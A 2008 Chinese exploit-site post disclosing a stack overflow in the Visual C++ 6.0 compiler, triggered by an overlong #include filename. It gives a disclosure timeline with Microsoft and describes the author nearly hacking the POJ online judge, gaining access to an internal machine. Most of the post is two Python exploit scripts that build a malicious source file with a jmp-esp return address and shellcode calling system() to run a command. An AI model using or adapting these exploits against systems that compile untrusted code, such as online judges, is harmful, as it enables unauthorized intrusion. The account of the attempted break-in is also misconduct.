首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
vc6.0栈溢出
来源:www.vfcocus.net 作者:vfocus 发布时间:2008-06-20  
憋了半年了。
问题处在include的文件名长度未检测。
比如
#include "AAAA....AA"(超多A)
就会挂。

<=2008-2-17 发现漏洞。
2008-3-3 报告给MS,当天收到答复,说正在研究中。
2008-3-4 MS确认这是一个安全缺陷,但说Visual C++ 6.0的产品支持生命周期已经于2005年9月30日结束,因此不会为这个漏
洞发布安全公告或安全建议,且建议我不要公开。

我差点利用这个漏洞黑了poj(acm.pku.edu.cn,做acm的同学应该都知道这个网站)。
可惜功亏一篑,只得到了一台没有价值的内网机器,最后和管理员摊牌了。
既然现在poj已经把vc6.0换成了vs2008,那我就没有继续憋着的理由了哈哈。

下面给出两个不同的vc6.0 sp6的exp,其他的sp可能偏移不一样,自己调试吧。

vc6_exp.py
######################################################################
#!/usr/bin/env python
# vc6 exploit by cly
# 2008-2-17
import struct

address_jmp_esp = 0x1065AEB3
address_system = 0x77BF93C7
address_exit = 0x77C09E7E
filename = 'e.c'
cmd = 'calc'

f = open(filename, 'wb')
f.write('#include "c:\\A' + cmd + '||' + 'A' * (146 - len(cmd))
+ struct.pack('<i', address_jmp_esp)
+ '\x83\xEC\x33\x83\xEC\x65\x8B\xC4\x83\xEC
\x04\x89\x04\x24\xE8'
+ struct.pack('<i', address_system - 0x0012F0AF) + '\xE8'
+ struct.pack('<i', address_exit - 0x0012F0B4) + 'A' * 84 +
'"')
f.close()
######################################################################

vc6_exp2.py
######################################################################
#!/usr/bin/env python
# vc6 exploit by cly
# 2008-2-17
import struct

filename = 'e.c'
cmd = 'calc'

address_data = 0x1066EFFB

shellcode = '\x32\xC0' # xor al, al
shellcode += '\xA2\x9E\xF0\x66\x10' # mov [1066F09E], al
shellcode += '\xA2\xA5\xF0\x66\x10' # mov [1066F0A5], al
shellcode += '\x68\x94\xf0\x66\x10' # push 1066F094 ; ASCII
"msvcrt.dll"
shellcode += '\xFF\x15\xD8\x31\x65\x10' # call [106531D8] ;
kernel32.GetModuleHandleA
shellcode += '\x68\x9F\xF0\x66\x10' # push 1066F09F ; ASCII
"system"
shellcode += '\x50' # push eax
shellcode += '\xFF\x15\xDC\x31\x65\x10' # call [106531DC] ;
kernel32.GetProcAddress
shellcode += '\x68\xA6\xF0\x66\x10' # push 1066F0A6 ; ASCII
cmd
shellcode += '\xFF\xD0' # call eax
shellcode += '\x32\xC0' # xor al, al
shellcode += '\x50' # push eax
shellcode += '\xFF\x15\xB8\x31\x65\x10' # call [106531B8] ;
kernel32.ExitProcess

f = open(filename, 'wb')
f.write('#include "c:\\' + shellcode + 'A' * (149 - len(shellcode))
+ struct.pack('<i', address_data) + 'msvcrt.dllAsystemA'
+ cmd + ' ' * (90 - len(cmd)) + '"')
f.close()
######################################################################
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·CaupoShop Classic 1.3 (saArtic
·IGSuite 3.2.4 (reverse shell)
·Visual Basic Enterprise Editio
·uTorrent / BitTorrent WebIU H
·Deterministic Network Enhancer
·P2P Foxy Out of Memory Denial
·cmsWorks 2.2 RC4 (fckeditor) R
·FreeCMS.us 0.2 (fckeditor) Arb
·Demo4 CMS 1b (fckeditor) Arbit
·MyMarket 1.72 Blind SQL Inject
·TOKOKITA (barang.php produk_id
·Mambo Component Articles (arti
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved